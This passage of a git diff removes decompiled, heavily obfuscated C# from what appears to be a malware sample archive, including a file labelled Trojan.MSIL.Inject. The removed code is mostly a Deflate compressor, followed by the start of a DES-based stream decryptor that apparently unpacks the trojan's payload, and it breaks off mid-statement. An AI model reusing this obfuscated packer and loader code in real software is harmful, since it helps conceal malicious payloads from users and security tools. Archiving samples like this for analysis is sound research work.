\uE00F.\uE008 \uE004; - private byte[] \uE005; - private int \uE006; - - public \uE000(Stream _param1) - : this(_param1, false) - { - } - - public \uE000(Stream _param1, bool _param2) - { - this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException(); -label_4: - int num = 1; - while (true) - { - switch (num) - { - case 0: - this.\uE004 = new \uE00F.\uE008(_param1); - num = 4; - continue; - case 1: - this.\uE002 = _param2; - num = 2; - continue; - case 2: - this.\uE003 = true; - num = 3; - continue; - case 3: - this.\uE005 = new byte[8192]; - num = 0; - continue; - case 4: - goto label_9; - default: - goto label_4; - } - } -label_9:; - } - - public Stream \uE000 => this.\uE001; - - public override bool CanSeek => false; - - public override bool CanRead => false; - - public override bool CanWrite => true; - - public override long Length => throw new NotImplementedException(); - - public override long Position - { - get => throw new NotImplementedException(); - set => throw new NotImplementedException(); - } - - public override long Seek(long offset, SeekOrigin origin) => throw new NotImplementedException(); - - public override void SetLength(long value) => throw new NotImplementedException(); - - private void \uE000() - { - if (!this.\uE003) - throw new InvalidOperationException("Stream is closed."); - } - - public override int Read(byte[] buffer, int offset, int count) => throw new NotSupportedException(); - - public override void Write(byte[] buffer, int offset, int count) - { - if ((count >= 0 ? 0 : 1) != 0 || count > buffer.Length) - throw new ArgumentOutOfRangeException(nameof (count)); - if (offset < 0 || offset > buffer.Length) - throw new ArgumentOutOfRangeException(nameof (offset)); - if (offset + count > buffer.Length) - throw new ArgumentException("offset + count out of buffer"); - this.\uE000(); - if (this.\uE006 + count > 8192) - this.\uE001(); - if (count >= 8192) - { - int num; - for (num = 0; count - num > 32768; num += 32768) - this.\uE004.\uE002(buffer, offset + num, 32768, false); - this.\uE004.\uE002(buffer, offset + num, count - num, false); - } - else - { - Array.Copy((Array) buffer, offset, (Array) this.\uE005, this.\uE006, count); -label_15: - int num = 1; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006 == 8192) - { - num = 2; - continue; - } - goto label_19; - case 1: - this.\uE006 += count; - num = 0; - continue; - case 2: - goto label_20; - default: - goto label_15; - } - } -label_19: - return; -label_20: - this.\uE001(); - } - } - - private void \uE001() - { - if (this.\uE006 <= 0) - return; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE004.\uE002(this.\uE005, 0, this.\uE006, false); - num = 1; - continue; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - this.\uE006 = 0; - } - - public override void Flush() - { - this.\uE000(); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006 > 0) - { - num = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - this.\uE001(); -label_6: - this.\uE004.\uE001(true, false); - this.\uE000.Flush(); - } - - private void \uE002() - { - if (this.\uE006 > 0) - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE004.\uE002(this.\uE005, 0, this.\uE006, true); - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - else - this.\uE004.\uE001(false, true); - } - - void IDisposable.Dispose() - { - if ((!this.\uE003 ? 1 : 0) == 0) - { - this.\uE002(); -label_3: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE005 = (byte[]) null; - num = 2; - continue; - case 1: - if (!this.\uE002) - { - num = 3; - continue; - } - goto label_10; - case 2: - this.\uE004 = (\uE00F.\uE008) null; - num = 1; - continue; - case 3: - this.\uE001.Close(); - num = 4; - continue; - case 4: - goto label_9; - default: - goto label_3; - } - } -label_9: - this.\uE001 = (Stream) null; -label_10: - this.\uE003 = false; - } - this.Close(); - } - } - - private sealed class \uE008 - { - public const int \uE000 = 32768; - private Stream \uE001; - private \uE00F.\uE00E \uE002; - private \uE00F.\uE00A \uE003; - - public \uE008(Stream _param1) - { - this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException(); -label_5: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 = new \uE00F.\uE00E(_param1); - num = 1; - continue; - case 1: - this.\uE003 = new \uE00F.\uE00A(); - num = 2; - continue; - case 2: - goto label_4; - default: - goto label_5; - } - } -label_4:; - } - - public Stream \uE000 => this.\uE001; - - internal void \uE000( - \uE00F.\uE00D _param1, - out int[] _param2, - out int[] _param3, - out int _param4) - { - _param2 = new int[286]; - _param3 = new int[30]; - _param4 = 0; - int index1 = 0; - int index2 = 0; - if ((index2 == 0 ? 1 : 0) != 0) - goto label_10; -label_1: - ushort index3 = (ushort) _param1.\uE000[index1]; - if (index3 <= (ushort) 256) - { - ++_param2[(int) index3]; - ++index1; - } - else - { - ++_param2[(int) index3]; -label_5: - int num = 0; - while (true) - { - switch (num) - { - case 0: - ++_param3[(int) (ushort) _param1.\uE000[index1 + 2]]; - num = 2; - continue; - case 1: - _param4 += (int) (byte) _param1.\uE001[index2] + (int) (byte) _param1.\uE001[index2 + 1]; - num = 3; - continue; - case 2: - index1 += 4; - num = 1; - continue; - case 3: - goto label_9; - default: - goto label_5; - } - } -label_9: - index2 += 2; - } -label_10: - if (index1 < _param1.\uE000.Count) - goto label_1; - } - - public void \uE001(bool _param1, bool _param2) - { - this.\uE002.\uE000(_param2); - if ((!_param1 ? 1 : 0) == 0) - { - this.\uE002.\uE001(0, 2); -label_3: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002.\uE003(); - num = 2; - continue; - case 1: - this.\uE002.\uE001((int) ushort.MaxValue, 16); - num = 3; - continue; - case 2: - this.\uE002.\uE001(0, 16); - num = 1; - continue; - case 3: - goto label_8; - default: - goto label_3; - } - } - } - else - { - this.\uE002.\uE001(1, 2); - \uE00B obj = \uE00A.\uE011[256]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - } -label_8: - if (!_param2) - return; - this.\uE002.\uE003(); - } - - public void \uE002(byte[] _param1, int _param2, int _param3, bool _param4) - { - if (_param3 > 32768) - throw new ArgumentOutOfRangeException(); - \uE00F.\uE00D obj = this.\uE003.\uE000(_param1, _param2, _param3); - if ((obj == null ? 0 : 1) == 0) - throw new InvalidOperationException(); - if (obj.\uE002 != _param3) - throw new InvalidOperationException(); - obj.\uE002(); - int[] numArray1; - int[] numArray2; - int num1; - this.\uE000(obj, out numArray1, out numArray2, out num1); - int[] numArray3 = \uE00A.\uE00B(numArray1); - int[] numArray4 = \uE00A.\uE00B(numArray2); - int num2 = (4 + _param3) * 8; - int num3 = this.\uE002.\uE001 >= 3 ? num2 + (this.\uE002.\uE001 - 3) : num2 + (5 + this.\uE002.\uE001); - int num4 = \uE00A.\uE000(numArray3, numArray1) + \uE00A.\uE000(numArray4, numArray2) + num1; - int num5 = \uE00A.\uE001(numArray3, numArray4) + num1; - bool flag1 = num5 <= num4 || num3 <= num4; - if (!flag1) - { - int num6 = num4 + this.\uE006(numArray3, numArray4); - flag1 = num5 <= num6 || num3 <= num6; - } - bool flag2 = num3 < num5; - this.\uE002.\uE000(_param4); - if (flag2 && flag1) - { - this.\uE002.\uE001(0, 2); -label_11: - int num7 = 3; - int num8; - int num9; - while (true) - { - switch (num7) - { - case 0: - this.\uE002.\uE003(); - num7 = 6; - continue; - case 1: - this.\uE002.\uE001(num8, 16); - num7 = 2; - continue; - case 2: - this.\uE002.\uE001(num9, 16); - num7 = 0; - continue; - case 3: - this.\uE002.\uE003(); - num7 = 5; - continue; - case 4: - num9 = ~_param3 & (int) ushort.MaxValue; - num7 = 1; - continue; - case 5: - num8 = _param3; - num7 = 4; - continue; - case 6: - this.\uE004(_param1, _param2, _param3); - num7 = 7; - continue; - case 7: - goto label_23; - default: - goto label_11; - } - } - } - else - { - \uE00B[] objArray1; - \uE00B[] objArray2; - if (flag1) - { - this.\uE002.\uE001(1, 2); - objArray1 = \uE00A.\uE011; - objArray2 = \uE00A.\uE012; - } - else - { - this.\uE002.\uE001(2, 2); - this.\uE005(numArray3, numArray4); - objArray1 = \uE00A.\uE002(numArray3); - objArray2 = \uE00A.\uE002(numArray4); - } - this.\uE003(obj, objArray1, objArray2); - } -label_23: - if (!_param4) - return; - this.\uE002.\uE003(); - } - - private void \uE003(\uE00F.\uE00D _param1, \uE00B[] _param2, \uE00B[] _param3) - { - int index1 = 0; - int index2 = 0; - if ((index2 == 0 ? 1 : 0) != 0) - goto label_15; -label_1: - int index3 = (int) (ushort) _param1.\uE000[index1]; - if (index3 <= 256) - { - \uE00B obj = _param2[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - ++index1; - } - else - { - \uE00B obj = _param2[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - if ((byte) _param1.\uE001[index2] > (byte) 0) - this.\uE002.\uE001((int) (ushort) _param1.\uE000[index1 + 1], (int) (byte) _param1.\uE001[index2]); - int index4 = index1 + 2; -label_7: - int num = 3; - while (true) - { - switch (num) - { - case 0: - obj = _param3[(int) (ushort) _param1.\uE000[index4]]; - num = 2; - continue; - case 1: - if ((byte) _param1.\uE001[index2] > (byte) 0) - { - num = 4; - continue; - } - goto label_14; - case 2: - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - num = 1; - continue; - case 3: - ++index2; - num = 0; - continue; - case 4: - goto label_13; - default: - goto label_7; - } - } -label_13: - this.\uE002.\uE001((int) (ushort) _param1.\uE000[index4 + 1], (int) (byte) _param1.\uE001[index2]); -label_14: - index1 = index4 + 2; - ++index2; - } -label_15: - if (index1 < _param1.\uE000.Count) - goto label_1; - } - - private void \uE004(byte[] _param1, int _param2, int _param3) => this.\uE000.Write(_param1, _param2, _param3); - - private void \uE005(int[] _param1, int[] _param2) - { - int[] numArray1 = new int[19]; - int num1 = 286; - if ((num1 == 0 ? 0 : 1) != 0) - goto label_2; -label_1: - --num1; -label_2: - if (num1 <= 257 || _param1[num1 - 1] != 0) - { - int length = 30; - while (length > 1 && _param2[length - 1] == 0) - --length; - int[] destinationArray = new int[num1 + length]; - Array.Copy((Array) _param1, 0, (Array) destinationArray, 0, num1); - Array.Copy((Array) _param2, 0, (Array) destinationArray, num1, length); - int[] numArray2 = \uE00A.\uE00D(destinationArray, 0, destinationArray.Length); - for (int index = 0; index < numArray2.Length; ++index) - { - ++numArray1[numArray2[index]]; - if (numArray2[index] >= 16) - ++index; - } - int[] numArray3 = \uE00A.\uE00A(numArray1, 7); - int[] numArray4 = \uE00A.\uE014; - int num2 = 19; - while (num2 > 4 && numArray3[numArray4[num2 - 1]] == 0) - --num2; - int num3 = num1 - 257; -label_16: - int num4 = 2; - int num5; - int num6; - \uE00B[] objArray; - int index1; - while (true) - { - switch (num4) - { - case 0: - this.\uE002.\uE001(num3, 5); - num4 = 5; - continue; - case 1: - num5 = num2 - 4; - num4 = 4; - continue; - case 2: - num6 = length - 1; - num4 = 1; - continue; - case 3: - this.\uE002.\uE001(num5, 4); - num4 = 6; - continue; - case 4: - objArray = \uE00A.\uE002(numArray3); - num4 = 0; - continue; - case 5: - this.\uE002.\uE001(num6, 5); - num4 = 3; - continue; - case 6: - index1 = 0; - num4 = 7; - continue; - case 7: - goto label_26; - default: - goto label_16; - } - } -label_26: - for (; index1 < num2; ++index1) - this.\uE002.\uE001(numArray3[numArray4[index1]], 3); - for (int index2 = 0; index2 < numArray2.Length; ++index2) - { - int index3 = numArray2[index2]; - \uE00B obj = objArray[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - if (index3 >= 16) - { - ++index2; - this.\uE002.\uE001(numArray2[index2], \uE00A.\uE00C(index3)); - } - } - } - else - goto label_1; - } - - private int \uE006(int[] _param1, int[] _param2) - { - int[] numArray1 = new int[19]; - int num1 = 0; - int num2 = 286; - if ((num2 == 0 ? 0 : 1) != 0) - goto label_2; -label_1: - --num2; -label_2: - if (num2 <= 257 || _param1[num2 - 1] != 0) - { - int[] numArray2 = \uE00A.\uE00D(_param1, 0, num2); -label_12: - for (int index = 0; index < numArray2.Length; ++index) - { - ++numArray1[numArray2[index]]; -label_6: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (numArray2[index] >= 16) - { - num3 = 1; - continue; - } - goto label_12; - case 1: - num1 += \uE00A.\uE00C(numArray2[index]); - num3 = 2; - continue; - case 2: - goto label_10; - default: - goto label_6; - } - } -label_10: - ++index; - } - int num4 = 30; - while (num4 > 1 && _param2[num4 - 1] == 0) - --num4; - int[] numArray3 = \uE00A.\uE00D(_param2, 0, num4); - for (int index = 0; index < numArray3.Length; ++index) - { - ++numArray1[numArray3[index]]; - if (numArray3[index] >= 16) - { - num1 += \uE00A.\uE00C(numArray3[index]); - ++index; - } - } - int[] numArray4 = \uE00A.\uE00B(numArray1); - int num5 = \uE00A.\uE000(numArray1, numArray4); - int[] numArray5 = \uE00A.\uE014; - int num6 = 19; - while (num6 > 4 && numArray4[numArray5[num6 - 1]] == 0) - --num6; - return 14 + (num6 - 4 + 4) * 3 + num5 + num1; - } - goto label_1; - } - } - - private sealed class \uE009 - { - public static readonly \uE00F.\uE009 \uE000; - public int \uE001; - public int \uE002; - public int \uE003; - public int \uE004; - - static \uE009() - { - \uE00F.\uE009 obj = new \uE00F.\uE009(); -label_2: - int num = 2; - while (true) - { - switch (num) - { - case 0: - obj.\uE002 = 32; - num = 1; - continue; - case 1: - obj.\uE003 = 128; - num = 3; - continue; - case 2: - obj.\uE001 = 8; - num = 0; - continue; - case 3: - obj.\uE004 = 256; - num = 4; - continue; - case 4: - \uE00F.\uE009.\uE000 = obj; - num = 5; - continue; - case 5: - goto label_8; - default: - goto label_2; - } - } -label_8:; - } - } - - private sealed class \uE00A - { - private const int \uE000 = 258; - private const int \uE001 = 32768; - private \uE00F.\uE00C \uE002; - private \uE00F.\uE00B \uE003; - private \uE00F.\uE009 \uE004; - private int \uE005; - - internal \uE00A() - : this(\uE00F.\uE009.\uE000) - { - } - - internal \uE00A(\uE00F.\uE009 _param1) - { - this.\uE004 = _param1; -label_2: - int num = 2; - while (true) - { - switch (num) - { - case 0: - this.\uE003 = new \uE00F.\uE00B(32768); - num = 1; - continue; - case 1: - this.\uE005 = 0; - num = 3; - continue; - case 2: - this.\uE002 = new \uE00F.\uE00C(65536); - num = 0; - continue; - case 3: - goto label_6; - default: - goto label_2; - } - } -label_6:; - } - - internal \uE00F.\uE009 \uE000 => this.\uE004; - - public \uE00F.\uE00D \uE000(byte[] _param1, int _param2, int _param3) - { - if (this.\uE002.\uE002 + _param3 > this.\uE002.\uE001) - { - int num = this.\uE002.\uE002 - 32768; - this.\uE002.\uE001(num); - if ((this.\uE005 >= num ? 0 : 1) == 0) - { - this.\uE005 -= num; - } - else - { - this.\uE003.\uE003(num - this.\uE005); - this.\uE005 = 0; - } - } - int num1 = this.\uE002.\uE002; -label_6: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - if (this.\uE005 < num1) - { - num2 = 2; - continue; - } - goto label_11; - case 1: - this.\uE002.\uE000(_param1, _param2, _param3); - num2 = 0; - continue; - case 2: - goto label_10; - default: - goto label_6; - } - } -label_10: - this.\uE003.\uE002(this.\uE002.\uE000, this.\uE005, num1 - this.\uE005); -label_11: - return this.\uE000.\uE003 > 0 ? this.\uE002(this.\uE003, this.\uE002.\uE000, num1, _param3, out this.\uE005) : this.\uE001(this.\uE002.\uE000, num1, _param3); - } - - private \uE00F.\uE00D \uE001(byte[] _param1, int _param2, int _param3) - { - \uE00F.\uE00D obj = new \uE00F.\uE00D(); -label_2: - int num1 = 2; - int index; - while (true) - { - switch (num1) - { - case 0: - index = 0; - num1 = 1; - continue; - case 1: - if (index != 0) - { - num1 = 3; - continue; - } - goto label_8; - case 2: - obj.\uE000.Capacity = _param3 + 1; - num1 = 0; - continue; - case 3: - goto label_7; - default: - goto label_2; - } - } -label_7: - int num2 = 0; - goto label_9; -label_8: - num2 = 1; -label_9: - if (num2 != 0) - goto label_11; -label_10: - obj.\uE000(_param1[index]); - ++index; -label_11: - if (index >= _param3) - return obj; - goto label_10; - } - - private \uE00F.\uE00D \uE002( - \uE00F.\uE00B _param1, - byte[] _param2, - int _param3, - int _param4, - out int _param5) - { - \uE00F.\uE00D obj1 = new \uE00F.\uE00D(); - object obj2 = (object) null; - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_18; -label_1: - \uE00F.\uE00B.\uE000 obj3 = _param1.\uE000(_param2, _param3 + num1); - if (obj3 != null) - { - object obj4; - if (obj2 != null) - { - obj4 = obj2; - obj2 = (object) null; - } - else - obj4 = (object) this.\uE003(_param2, _param3, _param4, num1, obj3, 3); - \uE00F.\uE00A.\uE000 obj5 = (\uE00F.\uE00A.\uE000) obj4; - bool flag = obj5.\uE001 >= 3; - if (flag && num1 < _param4 - 3 && obj5.\uE001 < this.\uE004.\uE002) - { - \uE00F.\uE00B.\uE000 obj6 = _param1.\uE000(_param2, _param3 + num1 + 1); - if (obj6 != null) - { - \uE00F.\uE00A.\uE000 obj7 = this.\uE003(_param2, _param3, _param4, num1 + 1, obj6, obj5.\uE001 + 1); - if (obj7.\uE001 > obj5.\uE001) - { - obj2 = (object) obj7; - flag = false; - } - } - } - if (flag) - { - obj1.\uE001(num1 - obj5.\uE000, obj5.\uE001); -label_12: - int num2 = 2; - while (true) - { - switch (num2) - { - case 0: - num1 += obj5.\uE001; - num2 = 1; - continue; - case 1: - _param1.\uE003(obj5.\uE001 - 1); - num2 = 3; - continue; - case 2: - _param1.\uE001(_param2, _param3 + num1); - num2 = 0; - continue; - case 3: - goto label_18; - default: - goto label_12; - } - } - } - else - { - obj1.\uE000(_param2[_param3 + num1]); - _param1.\uE001(_param2, _param3 + num1); - ++num1; - } - } - else - { - obj1.\uE000(_param2[_param3 + num1]); - _param1.\uE001(_param2, _param3 + num1); - ++num1; - } -label_18: - if (num1 >= _param4 - 2) - { - _param5 = _param3 + num1; - for (; num1 < _param4; ++num1) - obj1.\uE000(_param2[_param3 + num1]); - return obj1; - } - goto label_1; - } - - private \uE00F.\uE00A.\uE000 \uE003( - byte[] _param1, - int _param2, - int _param3, - int _param4, - \uE00F.\uE00B.\uE000 _param5, - int _param6) - { - int num1 = this.\uE004.\uE004; -label_2: - int num2 = 4; - int num3; - int num4; - int num5; - int num6; - int num7; - while (true) - { - switch (num2) - { - case 0: - num3 = _param2 + _param4; - num2 = 5; - continue; - case 1: - num4 = -1; - num2 = 3; - continue; - case 2: - num5 = _param6 - 1; - num2 = 0; - continue; - case 3: - num6 = 0; - num2 = 2; - continue; - case 4: - num7 = 0; - num2 = 1; - continue; - case 5: - goto label_17; - default: - goto label_2; - } - } -label_17: - while (_param5.\uE000()) - { - int num8 = 0; - int num9 = _param4 - _param5.\uE000; - if (_param4 + num5 < _param3) - { - int num10 = _param2 + num9; - if ((int) _param1[num10 + num5] == (int) _param1[num3 + num5]) - { - while (num8 < 258 && _param4 + num8 < _param3 && (int) _param1[num10 + num8] == (int) _param1[num3 + num8]) - ++num8; - if ((num8 >= num7 ? 0 : 1) == 0) - { - num7 = num8; - num5 = num8; - num4 = num9; - if (num7 >= this.\uE004.\uE003) - break; - } - if (num7 >= this.\uE004.\uE001) - num1 >>= 2; - } - if (++num6 >= num1) - break; - } - else - break; - } - return new \uE00F.\uE00A.\uE000() - { - \uE001 = num7, - \uE000 = num4 - }; - } - - private struct \uE000 - { - public int \uE000; - public int \uE001; - } - } - - private sealed class \uE00B - { - private const int \uE000 = 16777216; - private const int \uE001 = 256; - private const ushort \uE002 = 65535; - private const ushort \uE003 = 0; - private int \uE004; - private ushort[] \uE005; - private int[] \uE006; - private int \uE007; - - internal \uE00B(int _param1) - { - this.\uE004 = _param1; -label_2: - int num1 = 0; - int index; - while (true) - { - switch (num1) - { - case 0: - this.\uE005 = new ushort[this.\uE004]; - num1 = 1; - continue; - case 1: - this.\uE006 = new int[256]; - num1 = 3; - continue; - case 2: - if (index != 0) - { - num1 = 4; - continue; - } - goto label_9; - case 3: - index = 0; - num1 = 2; - continue; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num2 = 0; - goto label_10; -label_9: - num2 = 1; -label_10: - if (num2 != 0) - goto label_12; -label_11: - this.\uE006[index] = (int) ushort.MaxValue; - ++index; -label_12: - if (index < 256) - goto label_11; - } - - internal \uE00F.\uE00B.\uE000 \uE000(byte[] _param1, int _param2) - { - int index = \uE00F.\uE00B.\uE004(_param1, _param2); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006[index] != (int) ushort.MaxValue) - { - num = 1; - continue; - } - goto label_7; - case 1: - if (this.\uE007 - this.\uE006[index] > this.\uE004) - { - num = 2; - continue; - } - goto label_8; - case 2: - goto label_7; - default: - goto label_2; - } - } -label_7: - return (\uE00F.\uE00B.\uE000) null; -label_8: - return new \uE00F.\uE00B.\uE000(this, this.\uE007 - this.\uE006[index]); - } - - internal void \uE001(byte[] _param1, int _param2) - { - int index1 = \uE00F.\uE00B.\uE004(_param1, _param2); - this.\uE005[this.\uE007 % this.\uE004] = this.\uE006[index1] == (int) ushort.MaxValue || (this.\uE007 - this.\uE006[index1] >= this.\uE004 ? 0 : 1) == 0 ? (ushort) 0 : (ushort) (this.\uE007 - this.\uE006[index1]); - this.\uE006[index1] = this.\uE007; -label_2: - int num1 = 3; - int num2; - int index2; - int num3; - while (true) - { - switch (num1) - { - case 0: - num2 = this.\uE007 - this.\uE004; - num1 = 4; - continue; - case 1: - index2 = 0; - num1 = 5; - continue; - case 2: - if (num3 >= 16777216) - { - num1 = 0; - continue; - } - goto label_14; - case 3: - num3 = ++this.\uE007; - num1 = 2; - continue; - case 4: - num2 -= num2 % this.\uE004; - num1 = 1; - continue; - case 5: - goto label_13; - default: - goto label_2; - } - } -label_14: - return; -label_13: - for (; index2 < this.\uE006.Length; ++index2) - { - if (this.\uE006[index2] >= num2) - this.\uE006[index2] -= num2; - else - this.\uE006[index2] = 0; - } - this.\uE007 -= num2; - } - - internal void \uE002(byte[] _param1, int _param2, int _param3) - { - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_6; - else - goto label_3; -label_2: - int num2; - switch (num2) - { - case 0: - goto label_4; - case 1: - ++num1; - goto label_6; - } -label_3: - num2 = 0; - goto label_2; -label_4: - this.\uE001(_param1, _param2 + num1); - num2 = 1; - goto label_2; -label_6: - if (num1 < _param3) - goto label_4; - } - - internal void \uE003(int _param1) => this.\uE007 += _param1; - - private static int \uE004(byte[] _param0, int _param1) => (int) (byte) ((uint) _param0[_param1] + (uint) _param0[_param1 + 1] + (uint) _param0[_param1 + 2]); - - internal sealed class \uE000 - { - private \uE00F.\uE00B \uE000; - private int \uE001; - private int \uE002; - - internal \uE000(\uE00F.\uE00B _param1, int _param2) - { - this.\uE000 = _param1; - this.\uE001 = _param2; - } - - internal int \uE000 => this.\uE001; - - internal bool \uE000() - { - if ((this.\uE002 == 0 ? 0 : 1) == 0) - { - this.\uE002 = 1; - return true; - } - if (this.\uE002 == 1) - { - ushort num1 = this.\uE000.\uE005[(this.\uE000.\uE007 - this.\uE001) % this.\uE000.\uE004]; -label_5: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - if (this.\uE001 <= this.\uE000.\uE004) - { - num2 = 3; - continue; - } - goto label_12; - case 1: - if (num1 != (ushort) 0) - { - num2 = 2; - continue; - } - goto label_12; - case 2: - this.\uE001 += (int) num1; - num2 = 0; - continue; - case 3: - goto label_11; - default: - goto label_5; - } - } -label_11: - return true; -label_12: - this.\uE002 = 2; - } - return false; - } - } - } - - private sealed class \uE00C - { - private int \uE000; - private byte[] \uE001; - private int \uE002; - - public \uE00C(int _param1) - { - this.\uE000 = _param1; - this.\uE001 = new byte[_param1]; - this.\uE002 = 0; - } - - public byte[] \uE000 => this.\uE001; - - public int \uE001 => this.\uE000; - - public int \uE002 => this.\uE002; - - public void \uE000(byte[] _param1, int _param2, int _param3) - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE001, this.\uE002, _param3); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 += _param3; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - - public void \uE001(int _param1) - { - Array.Copy((Array) this.\uE001, _param1, (Array) this.\uE001, 0, this.\uE002 - _param1); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 -= _param1; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - } - - private sealed class \uE00D - { - internal ArrayList \uE000 = new ArrayList(); - internal ArrayList \uE001 = new ArrayList(); - internal int \uE002; - - public void \uE000(byte _param1) - { - this.\uE000.Add((object) (ushort) _param1); - ++this.\uE002; - } - - public void \uE001(int _param1, int _param2) - { - if ((_param1 >= 1 ? 0 : 1) != 0 || _param1 > 32768) - throw new ArgumentOutOfRangeException(); - if (_param2 < 3 || _param2 > 258) - throw new ArgumentOutOfRangeException(); - int num1; - int num2; - int num3; - \uE00A.\uE008(_param2, out num1, out num2, out num3); -label_6: - int num4 = 6; - int num5; - int num6; - int num7; - while (true) - { - switch (num4) - { - case 0: - this.\uE000.Add((object) (ushort) num2); - num4 = 4; - continue; - case 1: - this.\uE000.Add((object) (ushort) num5); - num4 = 7; - continue; - case 2: - this.\uE000.Add((object) (ushort) num1); - num4 = 0; - continue; - case 3: - this.\uE001.Add((object) (byte) num6); - num4 = 5; - continue; - case 4: - this.\uE001.Add((object) (byte) num3); - num4 = 1; - continue; - case 5: - this.\uE002 += _param2; - num4 = 8; - continue; - case 6: - \uE00A.\uE009(_param1, out num5, out num7, out num6); - num4 = 2; - continue; - case 7: - this.\uE000.Add((object) (ushort) num7); - num4 = 3; - continue; - case 8: - goto label_15; - default: - goto label_6; - } - } -label_15:; - } - - internal void \uE002() => this.\uE000.Add((object) (ushort) 256); - } - - private sealed class \uE00E - { - private uint \uE000; - private int \uE001; - private Stream \uE002; - - internal \uE00E(Stream _param1) => this.\uE002 = _param1; - - internal Stream \uE000 => this.\uE002; - - internal int \uE001 => (32 - this.\uE001) % 8; - - internal void \uE000(bool _param1) => this.\uE001(_param1 ? 1 : 0, 1); - - internal void \uE001(int _param1, int _param2) - { - uint num1 = this.\uE000 | checked ((uint) _param1) << this.\uE001; - int num2; - for (num2 = this.\uE001 + _param2; num2 >= 8; num2 -= 8) - { - this.\uE000.WriteByte((byte) num1); - num1 >>= 8; - } -label_5: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - this.\uE000 = num1; - num3 = 1; - continue; - case 1: - this.\uE001 = num2; - num3 = 2; - continue; - case 2: - goto label_3; - default: - goto label_5; - } - } -label_3:; - } - - internal void \uE002(int _param1, int _param2) - { - int num1 = 0; -label_7: - for (int index = _param2 - 1; index >= 0; --index) - { - num1 <<= 1; -label_3: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - num1 |= _param1 & 1; - num2 = 1; - continue; - case 1: - _param1 >>= 1; - num2 = 2; - continue; - case 2: - goto label_7; - default: - goto label_3; - } - } - } - this.\uE001(num1, _param2); - } - - internal void \uE003() - { - if (this.\uE001 <= 0) - return; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE000.WriteByte((byte) this.\uE000); - num = 1; - continue; - case 1: - this.\uE000 = 0U; - num = 2; - continue; - case 2: - goto label_6; - default: - goto label_2; - } - } -label_6: - this.\uE001 = 0; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 91b89416..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,419 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; - -internal sealed class \uE010 -{ - private const int \uE000 = 8; - private const int \uE001 = 20; - private const int \uE002 = 4; - private static byte[] \uE003 = new byte[4]; - private static byte[] \uE004; - - static \uE010() - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - \uE010.\uE004 = new byte[4]; - num = 4; - continue; - case 1: - \uE010.\uE003[1] = \uE010.\uE004[1] = (byte) 83; - num = 3; - continue; - case 2: - \uE010.\uE004[3] = (byte) 50; - num = 6; - continue; - case 3: - \uE010.\uE003[2] = \uE010.\uE004[2] = (byte) 65; - num = 5; - continue; - case 4: - \uE010.\uE003[0] = \uE010.\uE004[0] = (byte) 82; - num = 1; - continue; - case 5: - \uE010.\uE003[3] = (byte) 49; - num = 2; - continue; - case 6: - goto label_9; - default: - goto label_2; - } - } -label_9:; - } - - public static MemoryStream \uE000(Stream _param0) - { - BinaryReader binaryReader1 = new BinaryReader(_param0); - DESCryptoServiceProvider cryptoServiceProvider1 = new DESCryptoServiceProvider(); - bool flag1 = binaryReader1.ReadBoolean(); - int count1 = (int) binaryReader1.ReadUInt16(); - byte[] buffer1 = new byte[count1]; - binaryReader1.Read(buffer1, 0, count1); - if ((!flag1 ? 1 : 0) == 0) - { - byte[] buffer2 = new byte[8]; - binaryReader1.Read(buffer2, 0, 8); - for (int index = 0; index < count1; ++index) - buffer1[index] = (byte) ((uint) 